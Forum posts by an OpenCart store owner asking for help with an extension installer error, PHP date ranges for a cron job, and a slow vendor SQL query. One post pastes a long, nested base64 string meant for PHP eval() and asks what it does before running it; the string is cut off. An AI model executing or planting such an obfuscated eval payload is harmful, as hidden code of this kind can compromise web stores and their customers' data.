blmg2009

Hello, I've just started to use 2.1.0.2 and I'm trying to convert over some of my own extensions I built for my 1.5.6.4 store. I have started with a fresh install of 2.1.0.2 and I built a very basic extension, I'm wanting to move over to the extension installer to install my future additions to my store instead of using vqmod. I have made my testerextension.ocmod.zip, inside this is: install.xml /upload/ /admin/ /catalog/ However when I use the installer to upload testerextension.ocmod.zip I'm getting the following error: Directory containing files to be uploaded could not be found I have tracked this down to the ftp() class as I can see this error can be trigged in another class. I've also looked into the storage temp folder to find a folder unzipped called: testerextension.ocmod NOT upload. To rule out if there was an issue with OC system I have uploaded another extension from the extension store with the similar directory structure and similar ocmod.zip name only for it to correctly install. Therefore i'm unsure as to why this would be happening, I understand the system is looking for the upload folder in the temp folder but it's not there as it's one level deeper in the testerextension.ocmod - but as you can see from the directory structure above this shouldn't be happening. Does anyone have any idea where I could be going wrong?

Hi, I'm fairly new to PHP and I do struggle with the PHP time functions and the aspect of working with dates. I'm needing to create a between two dates variables for myself to use in MYSQL. Since i'm creating a feature that allows the viewer to select a day during the week to run a cron job. Let say it's Saturday. I need to work out from the time the script is run (THE FROM DATE) what the (TO DATE) will be, which I'm wanting the (TO DATE) to be the Monday at 00:01 at the start of that week. However this is proving quite difficult to perform simply without writing long pieces of code. Is there a simple way of doing this?

Thank everyone for you input. Unfortunately it has been paid for, fortunately it was an opencart extensive that wasn't very expensive. Why is this so bad? Is there any topics or resource you could recommend that I read to understand how to create better SQL queries? I'm new to SQL and I'm willing to learn what ever I need to, to make sure that all future SQL queries I make do not include such practices.

Right that makes sense, the sever we use is a dedicated server so I was shocked to see the error. I will contact the vendor to state he should use joins not sub queries. What does he mean by What is this and what affect does it have?

I'm currently using a external module from an opencart vendor on my opencart store, however I keep getting a error stating mysql has gone away. Thinking this might be an issue with the mysql wait time setting I contacted my server support team and asked them to investigate, below is there answer. I'm struggling to understand exactly why the query is so badly designed as stated below, any advice on the subject would be greatly appreciated

After decoding it I finally found what it was, however what type of practice is there anywhere that I could learn more about it. It has really interested me.

Hi, I have the following code on one of my stores and I have been supplied a code which is below with base 64 code; However before running the code I would like to understand what is it doing. What changes will it make. Is there any way of outputting the actual PHP it is eval() -ing $GBAY = 'ICR0WGtFID0gJ0lDUjNVVTFhSUQwZ0owbERVakJqVldoWVNVUXdaMG93YkVSVmJGWlRWMFp3Y2xOVlVYZGFNRzkzWWtWU1ZtSkhlRlpaYTFwYVRWWk9WbFZZWkdGTlJ6a3pXV3RXVTFadFNuSk9XRVpWVmpOb2FGUnNXbmRUUlRGWFdrZDRWMVl6YUVkV1JsWnJZVEZOZDAxSWJGWlhTRUpvVlRCa2VtVkdiRmhOVms1WVVteHdNRmxWWkhOaFZscHlZMGhvVjAxV2NIWldSRXBMVW0xV1NWVnNWbWxpU0VKUFYxY3hORmxYVmxkVWJsWnFVMGhDYUZSVmFFTlRWbkJXV2tSU2FWSnJOVWhWTWpWUFYyMUtWVlpzUWxwTlIxSkxXbFpWTVZOR2NFZFNiRnBPVWxadmVGWnFSbUZoTVZWM1RWaE9ZVTB5ZUZaWlYzUmhZMVpTVlZKcmRFNWlSM2g2VjJ0YWEySkdXWGRPUkVaWVYwaENjbFV5ZUVabFJrNTFZMFpvYVZJeWFESldSbFpoWkRGa1JrNVdiR3BTTW1oWVdsY3hNMlZHV1hkVmEzQk9WakJhU1ZVeWVHOVdNVmw1Vld4S1YxWkZTa2hhUmxwWFZqRmFjMVJzWkU1U00yaElWbXRrZDFJeVJuSk5TR2hVWVd0d1lWbHJaRk5YUm5CWFdrVTVUMVpyV25wV1J6RkhWMFpLVm1JemJGaFdSV3Q0VmxjeFMyTnJPVlZXYkVwWFRURktkMVpYY0V0T1IwNVhXa2hPV21WclduTlphMmhEVmxaV1YxVnVUbFJpUlZZMVZsZDBjMVp0U2xsUmEyaFhZbGhPTkZSc1ZYaFdNVVp5VGxaT2FHVnJWWGxXYkZwaFZHMVdSMVZyWkZSaVJscFlWbXRhWVZWV1ZsbGpSVTVQVW14d1ZsVnRlR3RXUlRGWFUydFdXRmRJUW5KVk1uaEdaVVpPZFdOR2FGZFNWM040VjFaU1IyUXhXa2RTYkZacFVsaENVMVJYYzNoT2JGcEZVV3hPVjJGNlJrZFVWbEpYVjIxV2RGVnJkRlpXUlVwSVdUSjRhMVpXVGxWV2JYUlhUVWhCZDFadE1IaGtNa1Y0VWxoa1UxWkdXbFZXYkdSUFRrWlNjMXBGTld4aVJYQXhWa2N4YjFZeVJuUmxTR2hZVmpOQ1MxUldaRk5XTWs1SFlVWldhR0V3Y0U1V1YzaGhVekZLUjFwRlZsSmlWR3hYVlcxNFYwNUdXbGhqZWxaV1lrWndWbFZ0ZEd0V1ZrcFdUbFZTVm1KR2NFaFpla0UxVmpGa2MxZHJOVk5pU0VKV1ZtMTBhMDFHU1hoVmJrNVVZa1pLY2xSWE1WTldSbFp6Vm01a2FWWnNjRmRXYlhSclZqRktjMVpxVWxoaE1YQkVWbTB4Um1WR1NuVmpSbEpYVm14d1ZWWldVa2RpYlZGNFZtNUtWR0pIVWxSV2JGcDNVbFphVjFkdFJsVk5WWEI1V2tWYVYyRnJNWFJWYlRsWFlXdGFlbGx0ZUU1a01XdDZZVVU1VjAxRVJUSldWekF4VkRKR1IxZHVSbWxUUlZwaFdWZDBjbVZHY0VkWGJtUllVbXhLZUZWWGVITlViVXBIWW5wR1dGWkZiRE5VVm1SVFkyMVNSbFZ0YUU1TlJYQk1WbFJDYjFReVNuTmFTRTVoVWxSc2NGUlhkSFpOVmxaWVRsWk9hVkp0VWtkVWJGSlRWMjFGZVZWdWNGaGlXR2g1V2xaVk5WZFdXblJpUjJ4WFlraENORll5ZEZkWGF6VllVMnRvVldKc1dsVlpiWGgzWTFac1YxcEhkR3ROVmtZMldXdFdUMkZXU1hoWGEyeGFZVEZLUkZaRldrWmxWMDQyVkd4U1YxWXlVWHBXTW5CRFl6RktSMVp1Vm1wU00wSllWRlJLYjJSR1pGVlViazVTWVhwc1YxbHJWbE5XUjBwSFkwWmtWbUpHY0V4VlZFWmhZMnhhYzFkdFJrNVNNMmd6VmxaYWIxWXhUbk5UYkdSVVlURktXVlZyVm1GU1JscFZVbXQwVjJKSFVubFpNRnB2VldzeFJsZFlhRlpOVmxwUVZYcEtSMU5HVm5OaVJscHBWa2Q0VEZaWE1YcE5Wa2w0VjI1S1ZXRXdOWE5aVkVvMFVteFNWbHBIZEZSTmJGcFhXV3RqTVZaV1NYbGxSVkphVm14d2VsWXhXbE5rUjFaR1QxZG9hVkpZUWpCV2FrbzBZV3N4V0ZKdVVsUlhSM2hYV1d4b2IxUldWbkphUkVKUFVteEtXRlpYTlV0aGJFcFlaVVZXVldFeVVuSlZNakZIVjBaU2RXTkdVbGRXTVVWM1YxWmtNR014U2xaTlZXaGhVbGhTYzFac1pEUmtWbHBHV2toT1VrMXJXbGhaYTFwelZsZEtXV0ZHUWxwV00yaE1XV3hhYTJNeGJEWlNiV2hwVmxkM01WWnNZM2hPUmxKSFVsaG9WR0p1UWxsV2ExWnlUVlpzVlZKdVpGZFNNRlkxVjJ0VmVHRkdXbFpYYm1SV1RXcFdlbFJVUm5abFIwcEZWbXhLVjFJemFFeFdWbEpMVkRKT1IxUnNXbFZXUlVwb1ZGWmtORTFHVm5ST1dHUmFWbXh3U0ZsVVRtdFhSa3BHWTBab1lWSnNjSGxhVmxVMVYwZFNTRkpzV2s1aVZrbzFWakZrTUdFeFVYbFZiazVxVWxkb1dGWXdWa3RUTVZaWlkwWk9hV0pGTlZsWmEyUjNXVlV4VjJKRVRscFdWbHBvVm0weFJtVkdXblJPVm5Cb1RVUldSRlpFUmxkak1VcEhZVE5zYVZKWVFsTmFWM2hMWkZaWmVGa3phRk5OYkZwNldUQmFWMWRHV2taVGJIQlZWak5vYUZSV1dtdFdWazVWVm0xb1RsZEZTbFpXTW5CTFRVZEdWMU5ZYkd4VFJWcFpXV3RrVG1WR2NGaGxTR1JYVWpCV05WZHJWWGhoUmxwV1YyNWtWazFxVm5wVlZFWkhZekZXZFZOc1dsZE5iRXB2Vm14U1ExSnJOVmRVYkZwVllsaENiMVpzWkRSU1ZsSnlXa2QwV0dKVmNGZFdNbkJoVjBkS1IxTnRSbFZXVm5CMVdsWmFZV1JXV25OalJUVm9ZbGhvTlZacVNqUlVNa3AwVWxoc1ZHRXlhRmhaVjNoTFkyeFdjVkp0Ums1V2JYY3lWVEkxVDJFeVNsWmpTR1JhVmtWd2NsWkdaRWRXYkVwMVVXeFNhV0pZYUVWV2ExcGhWREZhY2sxV1dtcFNiVkpUVkZWV1drMUdWWGhhU0dSc1lrYzVNMWt3Vm5OVk1rWnlWMjFvVjAxR1dqSlVWbHByVWxaU2NrNVhSazVXVlhCV1ZsWmpNVlV5U2tkYVJWcFBWa1pLWVZsVVNsTmxiR1IwVFZVNVdGWnNjREJhVldSM1lWZEtXVlZxU2xaTmJsSnlWa1JLVTJSR1RuVlZhemxYVFRKb2FGWkdVa2RTTWxaelZHeGFWV0pGTlhOWmJGVXhWMVp3VmxwSFJtaGlWbHBaV1ROd1QxWkdXbFpPVlU1YVZrVndUMXBYZUV0a1ZsSnpZa1UxYUdWc1dYbFdWRVpYVlcxUmVHSXpaR2xUUlRWWVdXdFdZVlpHVm5OV2JVWlhZa1phZWxaSGRFdGhSbHBZWlVWV1ZXRXlVbkpXVkVaTFZtMU9TRTFXWkZkV2JrSk5WbGN4TkZNeVRuUlRhMlJwVWxoQ1UxcFhlRXRrVmxWNFdYcEdWVTFyY0VsV1YzUnpWbTFLY2xOdVFscGlSMUpRV1cxNFlWWldSbk5hUm1SWFZqTm9TbFpXWkhkVE1XUnpWMWh3WVUweWFGbFphMlJUVVRGa2NWSnJUbGRTYTFwWlZHeFZNVlpyTVhKT1dGWlhZbGhDUkZscVJrdGpNVnAxVTJ4a1YwMXNTbWhXVjNCTFZUQTFWMkpJUmxWaVIxSnlWRlprTkZKV1ZsZFZiazVVWWtWV05WWlhOVWRYYlVaeVlUTm9XbUpIVWtoV01GcDNVMFprYzJOR1pFNVdWM2N4VmxSSk1XTXhSWGhTYms1V1ltdHdWMVpxU2xOWlZsWnhWR3hPYWsxWVFsaFhhMVpMV1ZVeFZsTnNWbFpXYlUxNFZUSXhSMVpzU25GU2JGSlhWbFJXVlZkWWNFZGtNV1JZVW10V1VtSlZXbGhhVjNoYVRXeGtWMWR0Y0U5V01VcFhXV3RXVTFReFNYbFZhM1JhVm0xU1VGbHRlR0ZTYkZwMVZHeFdhVkpVVmxsV2JGcHJZVEZTYzFaWVpHaGxhelZWVm14Vk1WWkdjRlphUms1WVVteHdNVmxyWkRSV01rWjBaVWhvV0Zac1dsQlZWM00xVm0xS1JtRkZOVmRTYkhCNFZrWlNRMWxYVm5OaVJtUllWa1phYzFWcVJrdFhWbHAwVGxoT2FWSnNWalZYYTJoTFYwWmFSbUY2Um1GU2JWSk1Xa1ZhWVdSSFRraGtSa3BPVFd4S01WWlVTakJpTVZGNVZtdG9WR0V5VWxGV2FrNURZakZXVlZOdWNFNU5WVFZYVmtkMFMyRkZNWEpOVkZwV1lsUldVRlV5ZUV0U1ZrWjBUbFpTVjAweWFGRldWekUwVlRGS2MxZHVTbFppUjFKVFZGVldZVTVHVlhoV2JHUmFWbXhXTkZaV2FHdFViRWw1Vld0MFdsWnNXa2hVVmxwUFZteGFjMVJzU2s1V01sRXdWbFprTkZReFZYaFhiR1JxVWxoU1dGUlZWVEZSTVhCSFZtNU9VMUpyTlRCWlZXUXdWMFpLY21ORVNsWk5WbHBvV1ZSR1QxWXhUbk5hUmxKb1RWaENURlpYY0U5aE1rcHpWbXRrVldFd2NIQlpWRW8wWkRGV1YyRkdaRlJpUld3eldUQmpOVmR0Vm5KalJtUlZWak5OZUZWcVFUVlhSMVpJWWtkc1YxWkdWalZXYWtvd1lURmFkRk5ZWkdwU1YyaHpWVEJXUzFsV1VsaGxSMFpPVm0xM01sVXllR0ZoYkVwWVpVVldWV0V5VW5KVk1qRkhWMFpTZEU1V1dsZGlSbFkwVmxkNFYyTXhUa2RWYkdoaFVtdGFWMVJWVm1GTlZsVjRXa2hPVW1KV1NsZFphMVp2VmtkS1dHRklSbFZXTTJoWFdsWmFVMk5zWkZWV2JXeFRUVWhCZDFacll6RlpWbXhYVTFob1YySnNjRlZaVkVwU1RVWnNXRTFWY0d4V2JGb3dXbFZXTkZack1VWlhXR2hXVFZaYVVGVXlNVXRqYlVwR1YyeE9hR1Z0ZUZWV1ZsSkRVekpOZUZSc1dsWlhSMUpvVkZWb1FrMVdWWGhhUjNSVlZqQmFWMVV5TlVOWFJscDBZVVpDV21FeFZYaFpNVnBYWkVaa2RGSnNaR3hpUm5BMFZqRmtkMU14VlhsVGExcHJVbFpLVjFsdGN6RmhSbGwzV2tjMWEwMVhVbnBYV0hCSFlrZEtWbGRzYkZWTlYyaFlWa1ZhVm1ReFNuRlNiRkpYVmxSV1RGZFhNVEJqTVVwelUyNUtVRlpyTlZOVVZWWjJUV3hWZUZac1NtdE5Wemt6V1RCU1YxWkdXWGxWYXpWYVZteGFURmt3V210V01rWkdUMWRzVTFaR1dqUldiR040V1Zac1YxZHFXbGRpYTFwaFdWZDBkMVpHYkhKV2FrSlRWakJXTmxsVlZURldNVWw2VldwT1ZrMVdXazlVVlZwMlpESktTVkZzY0U1aVZrcFhWbGQ0YTA1R1VYaFdXR2hZWWtWd2FGUlZVa2RXVmxWNFZXMTBWR0pGVmpSVk1uQlRXVlpLZEZWc2FHRldiVkpZVm10YVIxWlhTa1pqUms1c1lURldORll4YUhkVU1VbDVWRmhzVTJKSFVsRldNR1J2WTJ4YWNWSnRSazlXYmtKWVZrY3dNV0ZGTVZoa1JGWlZUVmRvV0ZsV1pFdFdNV1IxVW0xR1UxWlVValpXTW5CRFpERk9WMVZ1Vm1oU01uaFRWRmMxVG1Wc1ZYaFdhemxXVFd4S1dWWlhlRzlVYkdSSVpVaENWVlpGY0ZSVWJYaFBWbXhXV1ZwSFJrNWhNMEpoVjFkMGIyUXlSbk5YV0hCb1UwZFNXVlZyVm5KbFJsSlhXa1YwVjAxRWJGcFphMlJ6VkdzeGMxTlVTbFpsYTBwUVZsUktWMU5HVm5OaFJtUnBZbGhvZWxac1VrdGxhekI0Vkd4YVlWTkZOWEJXYkdRMFVsWmtjVk5xUW1oV01IQjZWakp3UTFkck1YRlJWRVpWVmtWd1VGUnNXa2RYUjBaSFVteGFUbEpXYkRaV1dIQkhWREZGZDA1SVpHbFNWMmhZV1d4b1EySXhWblZqUnpscFlrVTFNVmt3VWxOaVIwcFhVMnR3V21FeWFGQlhWbHBXWkRGT1dWcEhSbGRpVjJoRlYxZDBZVkV4V2tkVWJrWlNZbFZhV1ZWcVNtdE5NVnBHVld0MFZVMXNXakJXUjNCWFZrWlZlbFZyZUdGV2VsWlFXVzE0YTJNeGNFWlBWMnhPWVRJNGVGWldXbXBOVmxKWVUyNU9XR0p0VWxaVmJURlRWa1pyZDFkdVRsaFNNVnBLVmpJeFIySkdXa1pXYWs1WVZteHdkbFpVU2s1bFIwNUhZVVpTYVZZeWFIaFhWbHBYVTJzd2VGUnNXbUZTV0ZKdlZXMHhNRTVXY0VaWmVrWm9ZbFZ3VmxsVVRtOVhiVXBWVW14T1lWSldjSGxhVmxVMVYxWlNkR0pGTlU1U00wNDFWbFJHVjFReFVuSk5WbVJvVFRKNFZWWnJXa3RWUmxweFVWaGtUazFWTlZkWGExWXdZVVpLZEdSRVZtRlNWMDE0V1ZjeFMxWlhSWHBoUm5CcFZrVmFWRmRyVm10U01XUkdUVlpvYUZJd1drOVphMXBXWlZaVmVGWnRjRTVXTVVvd1ZUSTFVMVl4V2toVmEzUldZV3RGZUZSWGVITmpiR3cyVm0xNFYxWkhlRE5XVmxwclpERlZlVkpZYUdwU1YyaFdWRlJLTkZKR1VYaFdibVJQWWxVeE5WZHJaRWRXTURGRlZtcEtXRlo2Vm5wVlZ6RkxZekZHY2xWc1FsaFRSVXA1VmxSQ2EwNUhWbk5hU0U1V1ZrVktjRmxZY0hKTlZsWllUVlJTV0dGNlJqQlpWVkpMVmtaYVZrNVlSbFZOUjFKUFdsWmFVMlJYU2toaFJtaFRWbGQzZWxaVVJsZGlNVlYzVGxab1ZXRXlhRmhXYTJRMFV6RnNkR1ZGZEdwTldFSlhXVlZhUzJFeVNsWlhha0pXWWxoQ1RGWXllR3RTYXpWWlVteHdUbUZyV2paWGExSkxWVEZLUjFSc1VtdFNXRkp6V1cxek1XUldXWGxsUjNSVlRXdHNOVlV5Y0ZkVmJGbzJWbXQ0VmxaRmNIWlpNbmh6WTFaT2NrOVZOVmROU0VKYVZtMHdNVll5UlhoU1dHeHJVa1ZhWVZSWGNFZFhSbXhXVjI1a1ZGWXdWalZVTVdSSFlWZEtSMkl6YUZkTlZrcFFWbFJLVDFOR1RsbGlSVGxUWlcxNFRsWnNVa05UYXpCNFZHNVdhbE5JUW1oVVZtaERWMVphU0UxRVZtaFdNVnBYVlcwMVYxWkhSWGRPV0ZaYVZteGFlVnBYZUZOalZrcHpZMFUxYUdWc1dqWldNV2gzVkRGU2RGSnNXbXRTYkVwUVZtcE9VMkl4V25GUmJVWnNZa2Q0ZUZVeU1YZGhWVEZ6Vm1wV1ZWWnRhR2hYVmxwS1pERmtkV05HVms1aVdHaEZWa1pXYTFReVVsZFhibEpzVWxSR1UxUlZWblpOVmxsNVpVYzVWVTFyTlVsV2JUVlRWVEpLV0dWSVFsWmhhMXBYVkZkNFQxWnNjRWhTYldoVFRVaENTMVpyWTNoT1JsSlhVbGhrVkdKcmNHRlVWM0JIVTBac2RHVklXbXhXYTNBd1dXdGtjMVV3TVZkV1dHeFdUVlphY2xkV1pFZFRSazV5WWtaV2FWZEhhRTlXVmxKRFUyMVJlR0pHWkdoU2F6VnhWRlpvUTFac2JIRlRiWFJVWWxWd1IxUnJhRzlYUmxwR1kwWkNXbUV5VWs5YVYzaFRWMGRLUmsxV1NrNVNWM2N5VmpGYVlXRXhWWGROVldoVFlURmFjRlJYTVZOVlJteFlaRVZrVGsxV1NrZFdSM1JQWVVkS1ZtTkZiRlZOVjJnelYxWmFZVlpYU2tWU2JGcHBVakpvVVZkV1pEUmpNV1JYVW01U2JGSnJTbTlXYkZaelRURmtWVk5VUmxkTmEzQkhXVEJTWVdGck1YUlZiV2hYWVd0RmVGcEhlSE5rVjBwR1UyMXNhVlp1UWxaWFZtaDNZVEZOZVZadVZsVmlWRlpaV1d0a1UxVkdiSEZUYTNSUFZtdGFXVlJzWTNoV2F6RjFWRmh3VmsxcVZqTmFWM2gyWlVkT1IyRkdWbWxXUjNoM1YyeGFWMUl5VWxkV2ExcFZWa1phYzFsclpEQk9iRlY1VGxWT2FHSkZOVWhWYkdoTFZrZEtkVkZxV2xoaGExb3pWakJhVTJSRk9WaGlSM2hYVmxadmVGWnNWbGRoTVZWNVZHdG9WbUpyU2xOWmJYUkxZVVpXY2xWclRtcFNiWGN5VmtkNGEyRkhTa2hrUkZaWFlsUldNMWxYTVZkV2JVcElUbFp3YkdGNlZsVldSM2hyVXpGT1IxZHNWbWxTV0VKd1ZtMTBkMDB4WkZsalJUbFNUV3N4TkZsclduTmhSMVp6WTBoQ1dtSkdTbnBVVmxwcll6RlNjbU5GZUU1VFJVVjVWMWh3UzJFeGJGZFhXR1JQVjBad1lWbHRNVFJSTVd4MFpVVk9WRkpzV2pGVlZ6RXdZVVphVm1OSVdsaFdNMUp5V1hwS1MyUkdUblZTYXpWVFRXNW9hRlpHWkRSWlZURlhZMFZhWVZKdFVuTldiR1EwWkRGV1dFNVlaR2hOVlRWSldsVm9kMWRIU2tkU2FrNWFWbXh3TTFwRlZUVlhWbHAwWkVaS2JHRXhhM2xXTVZwaFlqSlJlVk5yV2xCWFJrcFBWbXBPYjJGR1ZuRlRhazVzVW0xNGVsWlhOWGRaVlRGeVkwWnNWbUpVVm5wWFZsVjRaRWRXUlZKc1ZsTmlWMmhWVjJ0amVGUXhTbGhUV0hCcFVsUldWVlZzVm5Ka01WcEZWRzVPVkdFelRqUlZiWGh2VmxkR2NsTnRPVmROUm5BeldXcEdkMUpzY0VsVWJYUnBWbGhDTTFaV1l6RlpWbXhZVW14YVUxWkdTbUZhVjNNeFZrWndWMXBGY0d4V1ZGWlpWR3hhUjJGR1dYZE9TR2hXVFc1U2NsUnJaRXRUUmxweVlrWmFhVmRIYUhkWFZ6RjZUVmRSZUdKSVJsUldSVnBvV1d4V2QwMUdWblJPVms1YVZteFpNbFpYTlZkV2JFcFdUVVJHWVZaNlJsUlZNVnBQWkZaa2RHSkhiRmROUkVZMVZsUkdWMkV4V1hkT1ZXaFdZVEpvV0ZsdGVHRmpWbEpZVFZSU1RtSkhlREJaYTFaUFZHc3hXR1ZHY0ZkU2JWSnlXVmR6ZDJWR1pIVlNiR2hYVWxoQ1dWZHNZM2hVYlZaWFdraEdVMkpYZUZOYVYzaEdUVVpaZUZsNlJsUmlSemt6V2xWU1lWUXhXbkpYYmtKV1lXdGFhRmxxUm5OT2JFNXpWMjFHVGxkRlNrcFdiVEF4VkRGc1YxcEZaRlJpYXpWVlZteGtVazFHYTNkWGJrcHNWbXh3TVZadE1YZFViVXBIVjI1V1YwMVdjSEpXUkVGNFUwWktjMkpHYUdsV01taDVWbGMxZDJNd05WZFViRnBvVWpCYWMxVnFRbmRYVmxGNFdrUkNWR0pGYkRSWk1GSlhWMjFHY21KRVRsaGhhM0JZVmpCVk5WWldTblJqUjJoWFZsZDBNMVl4WkRSaE1EQjVWVzVTVm1Kc1dsUlpiWGhMWTBaU1dHVkZaR2xpUjFJd1ZGVlNWMkZyTVZsUmEyeFhZbFJXZWxaR1pFZGtWbkJGVTJ4b2FFMXNTalpXUm1RMFVUSk9SMkpFV21GU1dFSlVWRlphZDJWR1pGZFdiWEJQVW0wNU0xa3dVbUZoTURCNFkwZG9WbUZyYjNwYVZscFhVMGRLU0dORk9VNVNNMmhMVmtaV2EyRXhiRmRYV0hCb1VrWndXVmxyVlRGU1JsSnhVVzVPVkZKc2NEQlpNR1J2VlRKV2RHRklWbFpOYWxZelZHdGtWMlJHVm5KaVIyeFVVbFJXYjFac1VrTlRiVkY0WTBaa2FGSlZOWEJWYlhSTFZsWlZlV05GVGxwV2JWSkpWMnBPYTFaV1NrWmpSa0poVm5wR1VGUnNXazlXUjFKR1pFZDRhV0Y2VmpGV2FrbzBZVEZSZVZOWWJGUmhiRnBUVm01d1YxUnNiSFJsUjBaclRWWktTRmRyV2s5aGJFcDBaVVpzWVZaWGFHaFhWbVJYVmxaS1dWcEdjRmRpVjJoVlYxaHdSMlF4WkVkVWJsSm9Vak5DYjFac1ZuSmxiRlY0Vm0xMFZFMXJXa2haVkU1ellURktObFp1UmxwaVJrcDVXbFZhYzJSRk1WZFRiWFJUWWxoUk1WWkVSbTlVTWtaV1RVaGthR1ZyY0ZWV2JGVXhWVVpzY2xkdVRtcFdiRnBhV1ZWVk5WVXhTbGRXV0hCV1RWWmFjbFY2U2tkU01rVjZZa2QwVTJWc1duaFhWM2hUWTIxV1IySklVazVXYTNCeVZXcENZVmRXVWxkYVJ6bGFWbFJHZWxac1VrdFdSbHBZVkZob1lWSjZSa3hhUlZwaFZsWndSbU5HVGs1U1JsWTFWakZrTUdGck5WaFdiRnBRVjBWS1UxWnFUa05XUm14VlVtNWtWRkpzUmpaWmExWlBWVVphV1ZGVVNscGxhM0J5VjFaYVdtUXdOVmxYYkhCcFlsaG9SRmRYTVRSUk1VcEdUMVpzYWxJelVsVlZhazV2VG14WmVXVkdTazVTTUhCNVZERlNWMVZ0U2xsaFIwWlZWbnBHZGxSWGVFOVdiRkowWTBaQ1UwMUVSVEZXYTJNeFl6SkdSMXBGV2xSWFIxSlZWbXhrYjFaR1VuTmFSVGxVVW14d1ZsbHJWbmRoVjBwR1kwaHdXR0pHV25aV1Z6RlRaRVpLZFZWc1RtaGhNMEpvVm1wQ1ZrMVhUbGRoTTJ4T1YwVTFjbFJYZUV0U1ZsVjRWR3BDVkUxc1dqRldSekF4VjBkS1NGVnNRbHBoYTNCTVZHeGFSMWRGTlZaa1JrcE9ZbGRvTlZZeFpIZFRNVkYzVFZab1ZHSkhhRmhaYlhoaFkyeFdWVk5xUWs1V2JYUTFWRlphYTJGR1NuVlJhM0JhVmtWck1WZFdaRXRqTVdSeFVteG9WMUpVVmxWWFZFSnJVMjFXVms1VmFGQldXR2hYVkZWV2NtVnNWWGxPV0dSc1lrYzVORmt3V205V1YwcFZZa2hDWVZac1draGFSbHBQWTJ4U2RFNVhhRmRXTTFFeVZtdGtkMUl4WkhKTldFcFBWMFUxWVZwWGN6RlVNV3hYVm1wQ1YxSlVWbGxhUldSdlZqQXhSMk5FV2xoV00wSk1XVmN4U21WV1dsbGlSVFZZVW01Q2IxWlhjRU5aVjFaelZWaHNhVkpWTlU5VmFrRXhUVlphZEUxVVVsVldhMVl6VlRKd1YxZEhTa2hoUmtKYVRVZFNXRnBGV2t0a1IwcElZa1pPVGxac1ZqVldWRVpYWVRGc1dGSnJhRlJoTW5oV1dXeG9iMVJzVmxWUmEzUnFZa2QwTlZSV1ZtdGhWMHBJVDFSV1ZtSlVSbnBaVmxwS1pVWmFWVk5zVWxkV01VcHZWMVpXYTFNeFRsZFZibEpzVWxSR1UxUlZWbk5OTVdSWFYyMDVWazFyTVRSWk1GcFhZVlV4ZEZWcmRGcGhNbEpVV1dwR2NtVlZNVVZTYlhCVFRVaEJkMVl4VWt0ak1WSlhVbGhrVkZkSVFtRldiVEZUVmtaU1ZscEZaRk5XTUd3MVYydFZOV0ZIUlhkWFdIQlhVbFphVUZWVVNrZGtSazV5WVVaQ1dGTkZTbTlXYlhoVFl6QXhWMVp1VG1oU1ZHeHZXV3RrTkZkc1ZsaE5WRkpXVWpCYVYxVXhhR3RYYXpGeFZteG9XbUV4V2pOVWJURk9aVlp3U0ZKc1pFNVNSbGw1VmpGak1XTXhSblJUYmxKWVlrWktiMXBYTVZOVVJuQllUbFU1YVdKSFVucFhhMVUxWVZVeGNtSjZSbFpXYlUxNFdXeGFWbVZYVGpaVWJGSnBZbXRKTWxZeWNFZGtNV1JIVlc1U1VGWXllSE5XYkZaaFRWWmFWbFpyTlU5V01WcDZXVlJPZDFaSFNuSlRia1pXVFVad1Ixa3llRTlrVjA1SlkwZEdUbGRGU2xwV2EyTjNUbGRHV0Zac1dsTmliRnBYVld4a1UxWkdhM2RhUms1cVVtdGFNVlZYTVVkVk1VcEdVMjVrV0ZkSVFsQldha3BIWXpKRmVtSkdaR2xpYTBwNFYyeGFWMk15U25OaVJGcFZZa1UxVUZacVFuZFRWbHB6Vlc1T1ZHSlZjRmhWTWpWclYyMVdjazVWVWxwbGExcDZWakZrUjA1c1pIUmlSMnhYVWpOa05GWnFTalJVTVU1eVl6TmthbEpHY0hGVVZ6RlRZVVphY1ZGVVJtdGlSM2d4V1d0V1MyRlhTa1pUYTJ4WFZucFdSRmxVU2tkV2JFNTBUMVp3YUUxc1NqWlhWekI0VXpKT1ZrMVZhR2xTYmtKUFdXdGFkbVZHWkhKV2JYUlhUV3hhVjFscmFFTlZiVXAxVVc1S1ZrMUhVVEJhVjNocll6RldXVnBIYUZkaWEwbDNWa1JHYjFZeVJYaFNhbHBUWVd4d1lWWnRNVzlOTVd4eVZsUldhMUpVUmxsYVZXUkhWVEF4ZFZwRVVsaFdNMmhVV2xkNGRtVldUbk5oUms1cFlsaG9iMVpHWTNoT1JURlhWV3RrYUZKck5YSlpiRlV4VW14c2NWUnVUbFZpUlRWSFZURlNRMVpWTUhsbFJYUlVaV3RhU0ZZd1dsTmpWa1owWVVab1UySnJTakpXTW5SWFlUSk5lVlZ1VWxSaWEwcFRXVzE0ZDJGR2JGZFdhMXBQVW0xM01sWkhlRTlpUmxsM1lrUldWV0pIVFhoV1ZtUkhWMFpTY1ZKc1VtaE5iRVYzVjFkMGExWXhUbGRXYmxKc1VqSjRjRmxZY0ZkTk1XUllZMFZ3VGxadVFqQlZNalZUVlRKS2MxTnRhRmRYU0VKVVdrWmFWMUpzVWxWV2JYaHBWbXR3UzFaVVNURlpWMFpZVTJ4b1ZWZEZjRlZXYkdSVFYwWlNjbHBHVGxSU2JIQXhWbTB4ZDFSdFNsbGFNMnhZVm5wR2VsVlVTa3RXTWtwSFlVZHNWRkpVVm05V2JYQkhVakF4VjFacldtRlNXRkp6Vm14a05GSldVWGRVYWtKWFlrVnNObGxWYUU5WFJscDBZVVpDV21FeFducFZNVnBoWkZkT1NGSnNXazVTVnpoNVZqSjBZV0l4UlhsVldHeFVWMGhDVlZsWGRFdFRNVlp4VW0xR1RsSnRVbGhYYTJoUFlXc3hTR1ZGV21GV1YxSjJWVEo0U21WWFJrVldiR2hwVWpGS2FGWkVSbGRqTWxKR1RWWm9hRkl5YUZoVVZFcHJUVEZrV0U1WVpHdE5iRW93VmtkMGIxWXlTbk5YYlVaVlZqTlNhRlJzV25kU2JGSlZVbTE0VjJKclNtRldWbU14V1ZkR2RGTnVUbFJoYkhCWFZteGtVMk5zY0VaWGJrNVlVakJ3U2xaSGMzaGhWbHBWVmxoc1dGWXphRk5VYkdSWFpFWldjMkZHVW1saE1YQnZWbTF3UWsxSFVYaFdhMlJYWVRKU2IxbHNXa3RUVm14eVZXdDBXR0pIVWtoVk1qVnJWMjFHY21FelpGcGhNVlkwV1RGYVIyTnNjRWRqUm1ST1ltMW5NbFpxU2pSaE1WWjBVbXhhYVZKWGVGZFpiR1J2WTFac2MxcEdUbXBOV0VKSFZsWm9hMkZHV25SYVJGcFhWbnBXYUZsWGVFWmtNa1Y2VTJ4d2FHRjZWa1ZYVjNSclV6SlNSMVZ1VW1oU00wSndXV3RXV21WR1pGVlRXR2hYVFd4R05W